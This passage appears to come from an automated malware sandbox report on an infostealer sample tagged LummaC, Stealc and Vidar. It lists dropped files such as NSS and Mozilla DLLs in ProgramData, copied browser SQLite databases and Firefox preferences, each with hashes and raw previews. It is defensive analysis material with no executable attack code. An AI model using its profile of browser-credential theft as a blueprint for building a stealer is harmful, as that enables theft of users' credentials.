	bas.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198
	man - Copy.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 20.109.210.53 20.190.160.22 13.107.246.45 184.28.90.27 20.3.187.198

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Ailurophile Stealer, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFBFBAAKECFIEBFIECFCGCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBKFHIDHIIJJKECGHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJEGIJEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648092536051991
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM1SAELyKOMq+8HKkjucswRv8p3nVumH:K0q+n0J19ELyKOMq+8HKkjuczRv89D
MD5:	48DB5A27891A2210DE31FA38B39B9A52
SHA1:	C25BEDAD5AA401E23E188F3A2BDCE1B8595A9800
SHA-256:	4D75C33256857B2CEC75ED73F3C4881A0B01286160364CEE515E4AFE5767A83F
SHA-512:	B7F34D1251050B417F9DDCD266A5E42A5CF6CD6C26809A0178AD39C5704E7BD2430589DBDF6D4F18BBB61C55E4ABD8727AD3CA85A333A5BA71714A453B14684D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJEGIJEGDBFHDGCAFCAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJJEBGDAFHJEBGDGIJDHCAKJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\17cd4c78-540a-4103-991b-835263c40f91.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46288
Entropy (8bit):	6.087615687422713
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQg8n/nKKGf4BC9nVWo2drFwcl7YEnn6Cioz7DRo+yM/42cRaLMm:CMk1rT8HcnfC9nEl1n6Foz7VLyMV/YoZ
MD5:	E267595A03992D59E35AF52249AA6DAA
SHA1:	DBEF8D5035FEC8F17496578541E61DFEF9EED2F0
SHA-256:	C13B499284A474D2326CB123660C4AD72EACD1B26E0C3979E7F5F0E9531D5A52
SHA-512:	9E754A574FA27194696F5DCA62ACC9937DA1CA931211DE099519B71122E7CE306962CF9B259BEB37F9E06176BDD87475551EE034F54833691F6DBB09AC229A27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2fc3e627-d033-4ab3-ba94-314d6109801a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732043141"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\27f88eb7-b4aa-49fe-914d-804e0d085614.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44695
Entropy (8bit):	6.095603648078027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kFKKKGf4BC9nakSqvePtYGN7DRo+yM/42cRaLMoskCH:z/Ps+wsI7ynKC9nYN7VLyMV/YoskFoz
MD5:	672B753FF60040678ABB33883CD8E0AD
SHA1:	E76A84C97A713AC19F692DD9C58224D86EA489A6
SHA-256:	A55CAD064E6511A7EBE2867BCC128392DBCEAEA872011B84953B30B2AFAC4927
SHA-512:	8191913B4F4F5F77F64BEC8832D03682CA6B5B0027C50A71102F1CAE8950979AF6BAC0E8206936D1D27B8C1D780B0F175F7159FB7E94DDF8502AA56D2B5789CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\40a5bd5a-e805-494d-9519-f2e44bbcd3f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\581806d3-a5fe-4ba8-946b-c00053e7e563.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46211
Entropy (8bit):	6.087689473717562
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQgxa/nKKGf4BC9nUWo2drFwcl7YEnn6Cioz7DRo+yM/42cRaLMm:CMk1rT8HRafC9nFl1n6Foz7VLyMV/YoZ
MD5:	1400774207FCC50F7C181C1CC3CBB63D
SHA1:	17BA731007007FB0526FD61AE89B69D40062DF8D
SHA-256:	1F178EF3D6C1A47F41B45563150F79C465A2011E8460464A79CC491928281F16
SHA-512:	814CB535A31EE60AA51C5EBA6198C28CEC232E3418D39CE0F9DB91FEC5139ADA6486A451B3DAC65F7CED897D53333ECD52ED054D17C53A7A983D92DDD46B9A9C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2fc3e627-d033-4ab3-ba94-314d6109801a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732043141"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\702909d9-1378-4744-b41f-838007cce316.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44773
Entropy (8bit):	6.095933107863608
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x6KKKGf4BC9nUWo2drFwcN7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7yODC9nFN7VLyMV/YoskFoz
MD5:	594D43F8E5F60AB4C9FEBB5124D54D33
SHA1:	EB728FA097FAB25B02D75F1FFE27B721F6BED733
SHA-256:	CE698159A62DAB2D759AB74D4F979D4855F192AD4275376A2614597CB0AD1BD1
SHA-512:	23ECEBA7F45A3832628BED88C26138D9D1692640A18C19891BBB22BADF81980541D664D78B6FE6F8BE081D8EA70617A1E6A0C0D548B31F393F7E4405F090946E
Malicious:	false
